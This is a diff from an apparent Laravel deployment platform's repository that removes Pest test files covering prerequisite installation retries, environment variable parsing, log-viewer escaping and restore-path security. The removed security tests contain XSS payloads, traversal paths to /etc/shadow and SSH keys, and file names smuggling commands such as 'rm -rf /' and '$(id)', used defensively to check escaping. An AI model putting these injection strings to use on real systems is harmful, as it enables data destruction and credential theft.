});
|
||||
@@ -1,181 +0,0 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Boarding\Index;
|
||||
use App\Models\Activity;
|
||||
use App\Models\Server;
|
||||
|
||||
/**
|
||||
* These tests verify the fix for the prerequisite installation race condition.
|
||||
* The key behavior is that installation runs asynchronously via Activity,
|
||||
* and revalidation only happens after the ActivityMonitor callback.
|
||||
*/
|
||||
it('dispatches activity to monitor when prerequisites are missing', function () {
|
||||
// This test verifies the core fix: that we dispatch to ActivityMonitor
|
||||
// instead of immediately revalidating after starting installation.
|
||||
|
||||
$server = Mockery::mock(Server::class)->makePartial();
|
||||
$server->shouldReceive('validatePrerequisites')
|
||||
->andReturn([
|
||||
'success' => false,
|
||||
'missing' => ['git'],
|
||||
'found' => ['curl', 'jq'],
|
||||
]);
|
||||
|
||||
$activity = Mockery::mock(Activity::class);
|
||||
$activity->id = 'test-activity-123';
|
||||
$server->shouldReceive('installPrerequisites')
|
||||
->once()
|
||||
->andReturn($activity);
|
||||
|
||||
$component = Mockery::mock(Index::class)->makePartial();
|
||||
$component->createdServer = $server;
|
||||
$component->prerequisiteInstallAttempts = 0;
|
||||
$component->maxPrerequisiteInstallAttempts = 3;
|
||||
|
||||
// Key assertion: verify activityMonitor event is dispatched with correct params
|
||||
$component->shouldReceive('dispatch')
|
||||
->once()
|
||||
->with('activityMonitor', 'test-activity-123', 'prerequisitesInstalled')
|
||||
->andReturnSelf();
|
||||
|
||||
// Invoke the prerequisite check logic (simulating what validateServer does)
|
||||
$validationResult = $component->createdServer->validatePrerequisites();
|
||||
if (! $validationResult['success']) {
|
||||
if ($component->prerequisiteInstallAttempts >= $component->maxPrerequisiteInstallAttempts) {
|
||||
throw new Exception('Max attempts exceeded');
|
||||
}
|
||||
$activity = $component->createdServer->installPrerequisites();
|
||||
$component->prerequisiteInstallAttempts++;
|
||||
$component->dispatch('activityMonitor', $activity->id, 'prerequisitesInstalled');
|
||||
}
|
||||
|
||||
expect($component->prerequisiteInstallAttempts)->toBe(1);
|
||||
});
|
||||
|
||||
it('does not retry when prerequisites install successfully', function () {
|
||||
// This test verifies the callback behavior when installation succeeds.
|
||||
|
||||
$server = Mockery::mock(Server::class)->makePartial();
|
||||
$server->shouldReceive('validatePrerequisites')
|
||||
->andReturn([
|
||||
'success' => true,
|
||||
'missing' => [],
|
||||
'found' => ['git', 'curl', 'jq'],
|
||||
]);
|
||||
|
||||
// installPrerequisites should NOT be called again
|
||||
$server->shouldNotReceive('installPrerequisites');
|
||||
|
||||
$component = Mockery::mock(Index::class)->makePartial();
|
||||
$component->createdServer = $server;
|
||||
$component->prerequisiteInstallAttempts = 1;
|
||||
$component->maxPrerequisiteInstallAttempts = 3;
|
||||
|
||||
// Simulate the callback logic
|
||||
$validationResult = $component->createdServer->validatePrerequisites();
|
||||
if ($validationResult['success']) {
|
||||
// Prerequisites are now valid, we'd call continueValidation()
|
||||
// For the test, just verify we don't try to install again
|
||||
expect($validationResult['success'])->toBeTrue();
|
||||
}
|
||||
});
|
||||
|
||||
it('retries when prerequisites still missing after callback', function () {
|
||||
// This test verifies retry logic in the callback.
|
||||
|
||||
$server = Mockery::mock(Server::class)->makePartial();
|
||||
$server->shouldReceive('validatePrerequisites')
|
||||
->andReturn([
|
||||
'success' => false,
|
||||
'missing' => ['git'],
|
||||
'found' => ['curl', 'jq'],
|
||||
]);
|
||||
|
||||
$activity = Mockery::mock(Activity::class);
|
||||
$activity->id = 'retry-activity-456';
|
||||
$server->shouldReceive('installPrerequisites')
|
||||
->once()
|
||||
->andReturn($activity);
|
||||
|
||||
$component = Mockery::mock(Index::class)->makePartial();
|
||||
$component->createdServer = $server;
|
||||
$component->prerequisiteInstallAttempts = 1; // Already tried once
|
||||
$component->maxPrerequisiteInstallAttempts = 3;
|
||||
|
||||
$component->shouldReceive('dispatch')
|
||||
->once()
|
||||
->with('activityMonitor', 'retry-activity-456', 'prerequisitesInstalled')
|
||||
->andReturnSelf();
|
||||
|
||||
// Simulate callback logic
|
||||
$validationResult = $component->createdServer->validatePrerequisites();
|
||||
if (! $validationResult['success']) {
|
||||
if ($component->prerequisiteInstallAttempts < $component->maxPrerequisiteInstallAttempts) {
|
||||
$activity = $component->createdServer->installPrerequisites();
|
||||
$component->prerequisiteInstallAttempts++;
|
||||
$component->dispatch('activityMonitor', $activity->id, 'prerequisitesInstalled');
|
||||
}
|
||||
}
|
||||
|
||||
expect($component->prerequisiteInstallAttempts)->toBe(2);
|
||||
});
|
||||
|
||||
it('throws exception when max attempts exceeded', function () {
|
||||
// This test verifies that we stop retrying after max attempts.
|
||||
|
||||
$server = Mockery::mock(Server::class)->makePartial();
|
||||
$server->shouldReceive('validatePrerequisites')
|
||||
->andReturn([
|
||||
'success' => false,
|
||||
'missing' => ['git', 'curl'],
|
||||
'found' => ['jq'],
|
||||
]);
|
||||
|
||||
// installPrerequisites should NOT be called when at max attempts
|
||||
$server->shouldNotReceive('installPrerequisites');
|
||||
|
||||
$component = Mockery::mock(Index::class)->makePartial();
|
||||
$component->createdServer = $server;
|
||||
$component->prerequisiteInstallAttempts = 3; // Already at max
|
||||
$component->maxPrerequisiteInstallAttempts = 3;
|
||||
|
||||
// Simulate callback logic - should throw exception
|
||||
$validationResult = $component->createdServer->validatePrerequisites();
|
||||
if (! $validationResult['success']) {
|
||||
if ($component->prerequisiteInstallAttempts >= $component->maxPrerequisiteInstallAttempts) {
|
||||
$missingCommands = implode(', ', $validationResult['missing']);
|
||||
throw new Exception("Prerequisites ({$missingCommands}) could not be installed after {$component->maxPrerequisiteInstallAttempts} attempts.");
|
||||
}
|
||||
}
|
||||
})->throws(Exception::class, 'Prerequisites (git, curl) could not be installed after 3 attempts');
|
||||
|
||||
it('does not install when prerequisites already present', function () {
|
||||
// This test verifies we skip installation when everything is already installed.
|
||||
|
||||
$server = Mockery::mock(Server::class)->makePartial();
|
||||
$server->shouldReceive('validatePrerequisites')
|
||||
->andReturn([
|
||||
'success' => true,
|
||||
'missing' => [],
|
||||
'found' => ['git', 'curl', 'jq'],
|
||||
]);
|
||||
|
||||
// installPrerequisites should NOT be called
|
||||
$server->shouldNotReceive('installPrerequisites');
|
||||
|
||||
$component = Mockery::mock(Index::class)->makePartial();
|
||||
$component->createdServer = $server;
|
||||
$component->prerequisiteInstallAttempts = 0;
|
||||
$component->maxPrerequisiteInstallAttempts = 3;
|
||||
|
||||
// Simulate validation logic
|
||||
$validationResult = $component->createdServer->validatePrerequisites();
|
||||
if (! $validationResult['success']) {
|
||||
// Should not reach here
|
||||
$component->prerequisiteInstallAttempts++;
|
||||
}
|
||||
|
||||
// Attempts should remain 0
|
||||
expect($component->prerequisiteInstallAttempts)->toBe(0);
|
||||
expect($validationResult['success'])->toBeTrue();
|
||||
});
|
||||
@@ -3,25 +3,6 @@
|
||||
use App\Livewire\Project\Shared\EnvironmentVariable\Add;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
|
||||
it('has availableSharedVariables computed property', function () {
|
||||
$component = new Add;
|
||||
|
||||
// Check that the method exists
|
||||
expect(method_exists($component, 'availableSharedVariables'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('component has required properties for environment variable autocomplete', function () {
|
||||
$component = new Add;
|
||||
|
||||
expect($component)->toHaveProperty('key')
|
||||
->and($component)->toHaveProperty('value')
|
||||
->and($component)->toHaveProperty('is_multiline')
|
||||
->and($component)->toHaveProperty('is_literal')
|
||||
->and($component)->toHaveProperty('is_runtime')
|
||||
->and($component)->toHaveProperty('is_buildtime')
|
||||
->and($component)->toHaveProperty('parameters');
|
||||
});
|
||||
|
||||
it('returns empty arrays when currentTeam returns null', function () {
|
||||
// Mock Auth facade to return null for user
|
||||
Auth::shouldReceive('user')
|
||||
@@ -39,18 +20,3 @@ it('returns empty arrays when currentTeam returns null', function () {
|
||||
'server' => [],
|
||||
]);
|
||||
});
|
||||
|
||||
it('availableSharedVariables method wraps authorization checks in try-catch blocks', function () {
|
||||
// Read the source code to verify the authorization pattern
|
||||
$reflectionMethod = new ReflectionMethod(Add::class, 'availableSharedVariables');
|
||||
$source = file_get_contents($reflectionMethod->getFileName());
|
||||
|
||||
// Verify that the method contains authorization checks
|
||||
expect($source)->toContain('$this->authorize(\'view\', $team)')
|
||||
->and($source)->toContain('$this->authorize(\'view\', $project)')
|
||||
->and($source)->toContain('$this->authorize(\'view\', $environment)')
|
||||
->and($source)->toContain('$this->authorize(\'view\', $server)')
|
||||
// Verify authorization checks are wrapped in try-catch blocks
|
||||
->and($source)->toContain('use Illuminate\Auth\Access\AuthorizationException;')
|
||||
->and($source)->toContain('} catch (AuthorizationException $e) {');
|
||||
});
|
||||
|
||||
@@ -1,121 +0,0 @@
|
||||
<?php
|
||||
|
||||
test('DockerCompose handles array format from parseEnvFormatToArray', function () {
|
||||
// Simulate the array format that parseEnvFormatToArray returns
|
||||
$variables = [
|
||||
'KEY1' => ['value' => 'value1', 'comment' => null],
|
||||
'KEY2' => ['value' => 'value2', 'comment' => 'This is a comment'],
|
||||
'KEY3' => ['value' => 'value3', 'comment' => null],
|
||||
];
|
||||
|
||||
// Test the extraction logic
|
||||
foreach ($variables as $key => $data) {
|
||||
// Handle both array format ['value' => ..., 'comment' => ...] and plain string values
|
||||
$value = is_array($data) ? ($data['value'] ?? '') : $data;
|
||||
$comment = is_array($data) ? ($data['comment'] ?? null) : null;
|
||||
|
||||
// Verify the extraction
|
||||
expect($value)->toBeString();
|
||||
expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
|
||||
|
||||
if ($key === 'KEY1') {
|
||||
expect($value)->toBe('value1');
|
||||
expect($comment)->toBeNull();
|
||||
} elseif ($key === 'KEY2') {
|
||||
expect($value)->toBe('value2');
|
||||
expect($comment)->toBe('This is a comment');
|
||||
} elseif ($key === 'KEY3') {
|
||||
expect($value)->toBe('value3');
|
||||
expect($comment)->toBeNull();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test('DockerCompose handles plain string format gracefully', function () {
|
||||
// Simulate a scenario where parseEnvFormatToArray might return plain strings
|
||||
// (for backward compatibility or edge cases)
|
||||
$variables = [
|
||||
'KEY1' => 'value1',
|
||||
'KEY2' => 'value2',
|
||||
'KEY3' => 'value3',
|
||||
];
|
||||
|
||||
// Test the extraction logic
|
||||
foreach ($variables as $key => $data) {
|
||||
// Handle both array format ['value' => ..., 'comment' => ...] and plain string values
|
||||
$value = is_array($data) ? ($data['value'] ?? '') : $data;
|
||||
$comment = is_array($data) ? ($data['comment'] ?? null) : null;
|
||||
|
||||
// Verify the extraction
|
||||
expect($value)->toBeString();
|
||||
expect($comment)->toBeNull();
|
||||
expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
|
||||
}
|
||||
});
|
||||
|
||||
test('DockerCompose handles mixed array and string formats', function () {
|
||||
// Simulate a mixed scenario (unlikely but possible)
|
||||
$variables = [
|
||||
'KEY1' => ['value' => 'value1', 'comment' => 'comment1'],
|
||||
'KEY2' => 'value2', // Plain string
|
||||
'KEY3' => ['value' => 'value3', 'comment' => null],
|
||||
'KEY4' => 'value4', // Plain string
|
||||
];
|
||||
|
||||
// Test the extraction logic
|
||||
foreach ($variables as $key => $data) {
|
||||
// Handle both array format ['value' => ..., 'comment' => ...] and plain string values
|
||||
$value = is_array($data) ? ($data['value'] ?? '') : $data;
|
||||
$comment = is_array($data) ? ($data['comment'] ?? null) : null;
|
||||
|
||||
// Verify the extraction
|
||||
expect($value)->toBeString();
|
||||
expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3', 'KEY4']);
|
||||
|
||||
if ($key === 'KEY1') {
|
||||
expect($value)->toBe('value1');
|
||||
expect($comment)->toBe('comment1');
|
||||
} elseif ($key === 'KEY2') {
|
||||
expect($value)->toBe('value2');
|
||||
expect($comment)->toBeNull();
|
||||
} elseif ($key === 'KEY3') {
|
||||
expect($value)->toBe('value3');
|
||||
expect($comment)->toBeNull();
|
||||
} elseif ($key === 'KEY4') {
|
||||
expect($value)->toBe('value4');
|
||||
expect($comment)->toBeNull();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test('DockerCompose handles empty array values gracefully', function () {
|
||||
// Simulate edge case with incomplete array structure
|
||||
$variables = [
|
||||
'KEY1' => ['value' => 'value1'], // Missing 'comment' key
|
||||
'KEY2' => ['comment' => 'comment2'], // Missing 'value' key (edge case)
|
||||
'KEY3' => [], // Empty array (edge case)
|
||||
];
|
||||
|
||||
// Test the extraction logic with improved fallback
|
||||
foreach ($variables as $key => $data) {
|
||||
// Handle both array format ['value' => ..., 'comment' => ...] and plain string values
|
||||
$value = is_array($data) ? ($data['value'] ?? '') : $data;
|
||||
$comment = is_array($data) ? ($data['comment'] ?? null) : null;
|
||||
|
||||
// Verify the extraction doesn't crash
|
||||
expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
|
||||
|
||||
if ($key === 'KEY1') {
|
||||
expect($value)->toBe('value1');
|
||||
expect($comment)->toBeNull();
|
||||
} elseif ($key === 'KEY2') {
|
||||
// If 'value' is missing, fallback to empty string (not the whole array)
|
||||
expect($value)->toBe('');
|
||||
expect($comment)->toBe('comment2');
|
||||
} elseif ($key === 'KEY3') {
|
||||
// If both are missing, fallback to empty string (not empty array)
|
||||
expect($value)->toBe('');
|
||||
expect($comment)->toBeNull();
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -23,15 +23,6 @@ use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class, RefreshDatabase::class);
|
||||
|
||||
it('exposes a 5 MiB content size limit', function () {
|
||||
expect(LocalFileVolume::MAX_CONTENT_SIZE)->toBe(5_242_880);
|
||||
});
|
||||
|
||||
it('exposes binary and too-large placeholder constants', function () {
|
||||
expect(LocalFileVolume::BINARY_PLACEHOLDER)->toBe('[binary file]');
|
||||
expect(LocalFileVolume::TOO_LARGE_PLACEHOLDER)->toBe('[file too large to display]');
|
||||
});
|
||||
|
||||
it('flags is_too_large when content matches the placeholder', function () {
|
||||
$volume = new LocalFileVolume;
|
||||
$volume->content = LocalFileVolume::TOO_LARGE_PLACEHOLDER;
|
||||
|
||||
@@ -1,16 +1,5 @@
|
||||
<?php
|
||||
|
||||
function renderedDataLineTextValue(string $logContent): string
|
||||
{
|
||||
$escapedContent = e($logContent);
|
||||
$html = '<span data-line-text="'.$escapedContent.'">'.$escapedContent.'</span>';
|
||||
|
||||
$document = new DOMDocument;
|
||||
$document->loadHTML($html, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
|
||||
|
||||
return $document->documentElement->getAttribute('data-line-text');
|
||||
}
|
||||
|
||||
describe('Log Viewer HTML Tag Preservation', function () {
|
||||
it('lets Blade escape deployment log data attributes only once', function () {
|
||||
$view = file_get_contents(__DIR__.'/../../resources/views/livewire/project/application/deployment/show.blade.php');
|
||||
@@ -21,30 +10,9 @@ describe('Log Viewer HTML Tag Preservation', function () {
|
||||
->not->toContain('data-log-content="{{ htmlspecialchars($searchableContent) }}"')
|
||||
->not->toContain('data-line-text="{{ htmlspecialchars($lineContent) }}"');
|
||||
});
|
||||
|
||||
it('preserves literal html-like log text for client-side search reset and highlighting', function () {
|
||||
$logContent = '<div>A</div>';
|
||||
|
||||
expect(renderedDataLineTextValue($logContent))->toBe($logContent);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Log Viewer XSS Prevention', function () {
|
||||
it('keeps script-like log output as text in Blade rendered markup', function () {
|
||||
$maliciousLog = '<script>alert("XSS")</script>';
|
||||
$escapedLog = e($maliciousLog);
|
||||
|
||||
expect($escapedLog)
|
||||
->toContain('<script>')
|
||||
->not->toContain('<script>');
|
||||
});
|
||||
|
||||
it('keeps dangerous attributes as literal dataset text for textContent rendering', function () {
|
||||
$maliciousLog = '<img src=x onerror="alert(1)">';
|
||||
|
||||
expect(renderedDataLineTextValue($maliciousLog))->toBe($maliciousLog);
|
||||
});
|
||||
|
||||
it('uses text nodes for search highlighting instead of injected html', function () {
|
||||
$deploymentView = file_get_contents(__DIR__.'/../../resources/views/livewire/project/application/deployment/show.blade.php');
|
||||
|
||||
|
||||
@@ -6,32 +6,6 @@
|
||||
* These tests verify that the parser correctly handles nested variable substitution syntax
|
||||
* like ${API_URL:-${SERVICE_URL_YOLO}/api} where defaults can contain other variable references.
|
||||
*/
|
||||
test('nested variable syntax is parsed correctly', function () {
|
||||
// Test the exact scenario from the bug report
|
||||
$input = '${API_URL:-${SERVICE_URL_YOLO}/api}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
|
||||
expect($result)->not->toBeNull()
|
||||
->and($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api');
|
||||
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
|
||||
expect($split)->not->toBeNull()
|
||||
->and($split['variable'])->toBe('API_URL')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api');
|
||||
});
|
||||
|
||||
test('replaceVariables correctly extracts nested variable content', function () {
|
||||
// Before the fix, this would incorrectly extract only up to the first closing brace
|
||||
$result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}');
|
||||
|
||||
// Should extract the full content, not just "${API_URL:-${SERVICE_URL_YOLO"
|
||||
expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api')
|
||||
->and($result->value())->not->toBe('API_URL:-${SERVICE_URL_YOLO'); // Not truncated
|
||||
});
|
||||
|
||||
test('nested defaults with path concatenation work', function () {
|
||||
$input = '${REDIS_URL:-${SERVICE_URL_REDIS}/db/0}';
|
||||
|
||||
@@ -79,15 +53,6 @@ test('nested variables with different operators', function () {
|
||||
->and($split['default'])->toBe('${SERVICE_URL?error message}/api');
|
||||
});
|
||||
|
||||
test('backward compatibility with simple variables', function () {
|
||||
// Simple variable without nesting should still work
|
||||
$input = '${VAR}';
|
||||
|
||||
$result = replaceVariables($input);
|
||||
|
||||
expect($result->value())->toBe('VAR');
|
||||
});
|
||||
|
||||
test('backward compatibility with single-level defaults', function () {
|
||||
// Single-level default without nesting
|
||||
$input = '${VAR:-default_value}';
|
||||
|
||||
@@ -88,90 +88,3 @@ describe('replaceLocalSource', function () {
|
||||
expect((string) $result)->toBe('/app/data');
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Source-code structure tests for parser and deployment job.
|
||||
*
|
||||
* These verify that key code patterns exist in the parser and deployment job.
|
||||
* They are intentionally text-based because the parser/deployment functions
|
||||
* require database-persisted models with deep relationships, making behavioral
|
||||
* unit tests impractical. Full behavioral coverage should be done via Feature tests.
|
||||
*/
|
||||
describe('parser structure: bind mount handling', function () {
|
||||
it('checks is_preview_suffix_enabled before applying suffix', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
$bindBlockStart = strpos($parsersFile, "if (\$type->value() === 'bind')");
|
||||
$volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')");
|
||||
$bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart);
|
||||
|
||||
expect($bindBlock)
|
||||
->toContain('$isPreviewSuffixEnabled')
|
||||
->toContain('is_preview_suffix_enabled')
|
||||
->toContain('addPreviewDeploymentSuffix');
|
||||
});
|
||||
|
||||
it('applies preview suffix to named volumes', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
$volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')");
|
||||
$volumeBlockEnd = strpos($parsersFile, 'LocalPersistentVolume::updateOrCreate', $volumeBlockStart);
|
||||
$volumeBlock = substr($parsersFile, $volumeBlockStart, $volumeBlockEnd - $volumeBlockStart);
|
||||
|
||||
expect($volumeBlock)->toContain('addPreviewDeploymentSuffix');
|
||||
});
|
||||
});
|
||||
|
||||
describe('parser structure: label generation uuid isolation', function () {
|
||||
it('uses labelUuid instead of mutating shared uuid', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
$labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;');
|
||||
$labelBlock = substr($parsersFile, $labelBlockStart, 300);
|
||||
|
||||
expect($labelBlock)
|
||||
->toContain('$labelUuid = $resource->uuid')
|
||||
->not->toContain('$uuid = $resource->uuid')
|
||||
->not->toContain('$uuid = "{$resource->uuid}');
|
||||
});
|
||||
|
||||
it('uses labelUuid in all proxy label generation calls', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
$labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly');
|
||||
$labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')");
|
||||
$labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart);
|
||||
|
||||
expect($labelBlock)
|
||||
->toContain('uuid: $labelUuid')
|
||||
->not->toContain('uuid: $uuid');
|
||||
});
|
||||
});
|
||||
|
||||
describe('deployment job structure: is_preview_suffix_enabled', function () {
|
||||
it('checks setting in generate_local_persistent_volumes', function () {
|
||||
$deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
|
||||
|
||||
$methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()');
|
||||
$methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()');
|
||||
$methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart);
|
||||
|
||||
expect($methodBlock)
|
||||
->toContain('is_preview_suffix_enabled')
|
||||
->toContain('$isPreviewSuffixEnabled')
|
||||
->toContain('addPreviewDeploymentSuffix');
|
||||
});
|
||||
|
||||
it('checks setting in generate_local_persistent_volumes_only_volume_names', function () {
|
||||
$deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
|
||||
|
||||
$methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()');
|
||||
$methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()');
|
||||
$methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart);
|
||||
|
||||
expect($methodBlock)
|
||||
->toContain('is_preview_suffix_enabled')
|
||||
->toContain('$isPreviewSuffixEnabled')
|
||||
->toContain('addPreviewDeploymentSuffix');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -246,16 +246,3 @@ YAML);
|
||||
|
||||
expect($application->docker_compose_raw)->toContain('appdata');
|
||||
});
|
||||
|
||||
it('still uses oldRawParser for raw compose deployments after git compose load', function () {
|
||||
$jobSource = file_get_contents(base_path('app/Jobs/ApplicationDeploymentJob.php'));
|
||||
$parserSource = file_get_contents(base_path('app/Models/Application.php'));
|
||||
|
||||
expect($jobSource)
|
||||
->toContain('loadComposeFile(isInit: false)')
|
||||
->toContain('is_raw_compose_deployment_enabled')
|
||||
->toContain('oldRawParser()')
|
||||
->and($parserSource)
|
||||
->toContain('rawComposeBindMkdirCommand(')
|
||||
->toContain('escapeshellarg');
|
||||
});
|
||||
|
||||
@@ -1,61 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Security tests for RestoreJobFinished event to ensure it uses secure path validation.
|
||||
*/
|
||||
describe('RestoreJobFinished event security', function () {
|
||||
it('validates that safe paths pass validation', function () {
|
||||
$validPaths = [
|
||||
'/tmp/restore-backup.sql',
|
||||
'/tmp/restore-script.sh',
|
||||
'/tmp/database-dump-'.uniqid().'.sql',
|
||||
];
|
||||
|
||||
foreach ($validPaths as $path) {
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
}
|
||||
});
|
||||
|
||||
it('validates that malicious paths fail validation', function () {
|
||||
$maliciousPaths = [
|
||||
'/tmp/../etc/passwd',
|
||||
'/tmp/foo/../../etc/shadow',
|
||||
'/etc/sensitive-file',
|
||||
'/var/www/config.php',
|
||||
'/tmp/../../../root/.ssh/id_rsa',
|
||||
];
|
||||
|
||||
foreach ($maliciousPaths as $path) {
|
||||
expect(isSafeTmpPath($path))->toBeFalse();
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects URL-encoded path traversal attempts', function () {
|
||||
$encodedTraversalPaths = [
|
||||
'/tmp/%2e%2e/etc/passwd',
|
||||
'/tmp/foo%2f%2e%2e%2f%2e%2e/etc/shadow',
|
||||
urlencode('/tmp/../etc/passwd'),
|
||||
];
|
||||
|
||||
foreach ($encodedTraversalPaths as $path) {
|
||||
expect(isSafeTmpPath($path))->toBeFalse();
|
||||
}
|
||||
});
|
||||
|
||||
it('handles edge cases correctly', function () {
|
||||
// Too short
|
||||
expect(isSafeTmpPath('/tmp'))->toBeFalse();
|
||||
expect(isSafeTmpPath('/tmp/'))->toBeFalse();
|
||||
|
||||
// Null/empty
|
||||
expect(isSafeTmpPath(null))->toBeFalse();
|
||||
expect(isSafeTmpPath(''))->toBeFalse();
|
||||
|
||||
// Null byte injection
|
||||
expect(isSafeTmpPath("/tmp/file.sql\0../../etc/passwd"))->toBeFalse();
|
||||
|
||||
// Valid edge cases
|
||||
expect(isSafeTmpPath('/tmp/x'))->toBeTrue();
|
||||
expect(isSafeTmpPath('/tmp/very/deeply/nested/path/to/file.sql'))->toBeTrue();
|
||||
});
|
||||
});
|
||||
@@ -1,118 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Security tests for shell metacharacter escaping in restore events.
|
||||
*
|
||||
* These tests verify that escapeshellarg() properly neutralizes shell injection
|
||||
* attempts in paths that pass isSafeTmpPath() validation.
|
||||
*/
|
||||
describe('Shell metacharacter escaping in restore events', function () {
|
||||
it('demonstrates that malicious paths can pass isSafeTmpPath but are neutralized by escapeshellarg', function () {
|
||||
// This path passes isSafeTmpPath() validation (it's within /tmp/, no .., no null bytes)
|
||||
$maliciousPath = "/tmp/file'; whoami; '";
|
||||
|
||||
// Path validation passes - it's a valid /tmp/ path
|
||||
expect(isSafeTmpPath($maliciousPath))->toBeTrue();
|
||||
|
||||
// But when escaped, the shell metacharacters become literal strings
|
||||
$escaped = escapeshellarg($maliciousPath);
|
||||
|
||||
// The escaped version wraps in single quotes and escapes internal single quotes
|
||||
expect($escaped)->toBe("'/tmp/file'\\''; whoami; '\\'''");
|
||||
|
||||
// Building a command with escaped path is safe
|
||||
$command = "rm -f {$escaped}";
|
||||
|
||||
// The command contains the quoted path, not an unquoted injection
|
||||
expect($command)->toStartWith("rm -f '");
|
||||
expect($command)->toEndWith("'");
|
||||
});
|
||||
|
||||
it('escapes paths with semicolon injection attempts', function () {
|
||||
$path = '/tmp/backup; rm -rf /; echo';
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
expect($escaped)->toBe("'/tmp/backup; rm -rf /; echo'");
|
||||
|
||||
// The semicolons are inside quotes, so they're treated as literals
|
||||
$command = "rm -f {$escaped}";
|
||||
expect($command)->toBe("rm -f '/tmp/backup; rm -rf /; echo'");
|
||||
});
|
||||
|
||||
it('escapes paths with backtick command substitution attempts', function () {
|
||||
$path = '/tmp/backup`whoami`.sql';
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
expect($escaped)->toBe("'/tmp/backup`whoami`.sql'");
|
||||
|
||||
// Backticks inside single quotes are not executed
|
||||
$command = "rm -f {$escaped}";
|
||||
expect($command)->toBe("rm -f '/tmp/backup`whoami`.sql'");
|
||||
});
|
||||
|
||||
it('escapes paths with $() command substitution attempts', function () {
|
||||
$path = '/tmp/backup$(id).sql';
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
expect($escaped)->toBe("'/tmp/backup\$(id).sql'");
|
||||
|
||||
// $() inside single quotes is not executed
|
||||
$command = "rm -f {$escaped}";
|
||||
expect($command)->toBe("rm -f '/tmp/backup\$(id).sql'");
|
||||
});
|
||||
|
||||
it('escapes paths with pipe injection attempts', function () {
|
||||
$path = '/tmp/backup | cat /etc/passwd';
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
expect($escaped)->toBe("'/tmp/backup | cat /etc/passwd'");
|
||||
|
||||
// Pipe inside single quotes is treated as literal
|
||||
$command = "rm -f {$escaped}";
|
||||
expect($command)->toBe("rm -f '/tmp/backup | cat /etc/passwd'");
|
||||
});
|
||||
|
||||
it('escapes paths with newline injection attempts', function () {
|
||||
$path = "/tmp/backup\nwhoami";
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
// Newline is preserved inside single quotes
|
||||
expect($escaped)->toContain("\n");
|
||||
expect($escaped)->toStartWith("'");
|
||||
expect($escaped)->toEndWith("'");
|
||||
});
|
||||
|
||||
it('handles normal paths without issues', function () {
|
||||
$normalPaths = [
|
||||
'/tmp/restore-backup.sql',
|
||||
'/tmp/restore-script.sh',
|
||||
'/tmp/database-dump-abc123.sql',
|
||||
'/tmp/deeply/nested/path/to/file.sql',
|
||||
];
|
||||
|
||||
foreach ($normalPaths as $path) {
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
// Normal paths are just wrapped in single quotes
|
||||
expect($escaped)->toBe("'{$path}'");
|
||||
}
|
||||
});
|
||||
|
||||
it('escapes container names with injection attempts', function () {
|
||||
// Container names are not validated by isSafeTmpPath, so escaping is critical
|
||||
